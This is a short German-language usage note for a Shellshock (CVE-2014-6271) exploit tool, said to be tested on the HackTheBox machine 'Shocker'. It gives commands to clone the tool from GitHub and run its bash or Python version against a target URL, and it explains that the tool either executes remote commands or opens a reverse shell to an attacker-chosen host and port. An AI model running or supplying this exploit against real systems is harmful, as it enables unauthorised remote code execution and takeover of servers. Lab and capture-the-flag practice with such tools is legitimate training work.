
[Python/Shell] - Getestet in HackTheBox - Shocker (Einfach) CVE-2014-6271
sudo git clone https://github.com/Gurguii/shellshock.sh
bash shellshock.sh -u <url> -h* <lhost> -p* <lport>
python3 shellshock.py -u <url> -lh* <lhost> -lp* <lport>
Hinweis: Standard-LPORT ist 4444, URL erforderlich. Wenn nur eine URL angegeben wird, führt es RCE aus, ansonsten wird eine RSHELL zu angegebenem lhost und lport hergestellt.